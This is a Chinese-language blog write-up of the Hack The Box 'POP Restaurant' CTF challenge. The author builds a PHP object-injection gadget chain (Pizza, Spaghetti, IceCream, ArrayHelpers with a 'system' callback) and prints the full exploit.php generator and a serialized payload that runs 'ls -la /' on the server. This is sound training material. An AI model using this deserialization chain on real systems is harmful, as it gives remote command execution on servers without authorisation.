---
# System prepended metadata

title: POP Restaurant

---

# 前言
因為想做web相關的題目
所以來HTB找challenges
先找Easy與very easy
> 目前實力可能連very easy都無法不抄作業自己解出來

再由評價高低排序
> 想說先做評價高的XD

所以找到這題，開動~

# 實作
主要參考資料，感謝前輩分享
https://medium.com/@abdallahomaratya0/pop-restaurant-challenge-htb-b10989577596

這次有先靠自己找到可疑點POST
```html!=
<form action="order.php" method="POST">
  <input type="hidden" name="data" value="Tzo1OiJQaXp6YSI6Mzp7czo1OiJwcmljZSI7TjtzOjY6ImNoZWVzZSI7TjtzOjQ6InNpemUiO047fQ==">
  <button type="submit" class="order__button">
    <img src="Static/Images/Pizza.gif" alt="Pizza">
    Order Pizza
  </button>
</form>
```
其中看了文章才知道這串base64可以拿去解碼
```
Tzo1OiJQaXp6YSI6Mzp7czo1OiJwcmljZSI7TjtzOjY6ImNoZWVzZSI7TjtzOjQ6InNpemUiO047fQ==

解碼後得到:
O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";N;}
```
接下來就可進入PHP階段，詳細可參考[文獻](https://medium.com/@abdallahomaratya0/pop-restaurant-challenge-htb-b10989577596)


* 第一個難關
我沒寫過PHP
所以用AI些查一下如何在kali執行PHP

    簡單創建一個php檔案，EX: exploit.php，內容如下
    ```php!=
    <?php
    echo "Hello, Kali!\n";
    ?>
    ```
    透過以下命令即可執行
    ```bash!=
    └─$ php exploit.php
    Hello, Kali!
    ```
* 第二個難關
看不懂怎麼得到此題的base64編碼
原來只要模擬出Model內的Class
在使用helpers的class
組合出`exploit.php`
透過PHP直接輸出payload
    
    也紀錄一下最後的code
    ```php!=
    <?php
    require_once 'Helpers/ArrayHelpers.php';

    class Pizza {
        public $price;
        public $cheese;
        public $size;
        public function __destruct() {
            echo $this->size->what;
        }
    }

    class Spaghetti {
        public $sauce;
        public $noodles;
        public $portion;
        public function __get($tomato) {
            ($this->sauce)();
        }
    }

    class IceCream {
        public $flavors;
        public $topping;
        public function __invoke() {
            foreach ($this->flavors as $flavor) {
                echo $flavor;
            }
        }
    }

    use Helpers\ArrayHelpers;

    $ArrayHelpers = new ArrayHelpers(['ls -la /']);
    $ArrayHelpers->callback = 'system';

    $IceCream = new IceCream();
    $IceCream->flavors = $ArrayHelpers;

    $Spaghetti = new Spaghetti();
    $Spaghetti->sauce = $IceCream;

    $Pizza = new Pizza();
    $Pizza->size = $Spaghetti;

    $serialize = serialize($Pizza);
    echo $serialize . "\n";
    echo base64_encode($serialize) . "\n";
    ?>
    ```
    
    其中helpers我是用challenge內的所以exploit.php要放在對應位置，或是寫一個新的helper.php也行
    `   require_once 'Helpers/ArrayHelpers.php';`
    當初namespace也讓我卡了一陣子，後來問AI
    才知道要分兩個php寫，不然就是要擺在第一行

* 第三個難關
    成功執行System指令，但卻找不到flag在哪
    ```
    $ArrayHelpers = new ArrayHelpers(['ls -la']);
    ```
    找遍上一層下一層好幾層的資料夾都沒有
    後來才知道原來`/`是根目錄的意思
    所以直接掃根目錄就找到flag.txt了XD
    
    附上掃根目錄的payload，加密成base64即可使用
    ```
  O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:20:"Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:8:"ls -la /";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}
    ```
![image](https://hackmd.io/_uploads/BJ6PWAYdlx.png)

# 心得
中間透過AI了解此題解題的原理
大概理解是透過class一層一層的堆疊觸發最後的system命令
但因為沒寫過php所以只理解個皮毛QQ

還有不知為何F12>Resend POST沒辦法得到JSON的response都是HTML網頁
後來用burpsuite的repeater才搞定

後續有機會再回頭深入了解

感謝收看，歡迎討論